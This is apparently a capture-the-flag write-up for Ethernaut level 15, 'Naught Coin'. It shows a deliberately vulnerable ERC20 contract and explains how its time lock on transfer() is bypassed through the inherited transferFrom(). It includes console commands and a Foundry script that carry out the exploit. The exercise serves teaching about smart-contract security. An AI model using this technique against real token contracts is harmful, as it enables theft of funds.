The Ethernaut CTF Solutions | 15 - Naught Coin

The Ethernaut CTF Solutions | 15 - Naught Coin

Smart Contract Loopholes: Exploiting Inheritance in ERC20 Tokens

ยท

3 min read

Goals

The contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract NaughtCoin is ERC20 {
    // string public constant name = 'NaughtCoin';
    // string public constant symbol = '0x0';
    // uint public constant decimals = 18;
    uint public timeLock = block.timestamp + 10 * 365 days;
    uint256 public INITIAL_SUPPLY;
    address public player;

    constructor(address _player) ERC20("NaughtCoin", "0x0") {
        player = _player;
        INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
        // _totalSupply = INITIAL_SUPPLY;
        // _balances[player] = INITIAL_SUPPLY;
        _mint(player, INITIAL_SUPPLY);
        emit Transfer(address(0), player, INITIAL_SUPPLY);
    }

    function transfer(
        address _to,
        uint256 _value
    ) public override lockTokens returns (bool) {
        super.transfer(_to, _value);
    }

    // Prevent the initial owner from transferring tokens until the timelock has passed
    modifier lockTokens() {
        if (msg.sender == player) {
            require(block.timestamp > timeLock);
            _;
        } else {
            _;
        }
    }
}

The hack

The NaughtCoin level is a bit weird as it is hard to imagine that anything like this would ever be implemented. However, it teaches us a valuable lesson about the importance of correctly implementing inherited functions.

We can see that the transfer() function has a lockTokens modifier.

modifier lockTokens() {
    if (msg.sender == player) {
      require(block.timestamp > timeLock);
      _;
    } else {
     _;
    }
}

So it looks like we won't be able to use the transfer() function to transfer the tokens to another address. But in the ERC20 standard, there is also a transferFrom() function, which allows another address to execute a transfer on our behalf if approved.

Since the transferFrom() function is not implemented in the NaughtCoin contract, its implementation will be the one defined in the OpenZeppelin contract, without the lockTokens modifier.

In other words, we can use the transferFrom() function to transfer the tokens to another address without worrying about the time lock. We simply have to approve the address that will perform the transfer on our behalf first.

Solution

In the browser's console

  1. Let's find out how many tokens you have:
const balance = await contract.balanceOf(player);
  1. Approve another address to transfer the tokens for us:
await contract.approve("TheFutureCoinOwner", balance);
  1. Transfer the tokens to another address using the transferFrom() function:
await contract.transferFrom(player, "TheFutureCoinOwner", balance);

With Foundry using forge:

The deployment script:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";

interface INaughtCoin {
    function balanceOf(address _owner) external view returns (uint256);
    function approve(address _spender, uint256 _value) external returns (bool);
    function transferFrom(
        address _from,
        address _to,
        uint256 _value
    ) external returns (bool);
}

contract PoC is Script {
    // Replace with your NaughtCoin instance
    INaughtCoin naughty =
        INaughtCoin(0xC595d7C946910835637D23F231441700Be6A25F8);

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        address futurCoinOwner = 0x1234567890AbcdEF1234567890aBcdef12345678;

        uint balance = naughty.balanceOf(futurCoinOwner);
        console2.log("Current balance: ", balance);

        naughty.approve(futurCoinOwner, balance);
        naughty.transferFrom(futurCoinOwner, address(naughty), balance);

        console2.log("New balance is: ", naughty.balanceOf(futurCoinOwner));

        vm.stopBroadcast();
    }
}

Don't forget to edit the futurCoinOwner address in the script/15_NaughtCoin.s.sol file above!

 address futurCoinOwner = "your wallet address here";

Then run this script with the following command:

forge script script/15_NaughtCoin.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

๐ŸŽ‰ Level completed ๐ŸŽ‰

Takeaway

  • Always be careful when inheriting from other contracts. And make sure to implement the inherited functions correctly.

Reference


You can find all the codes, challenges, and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

ย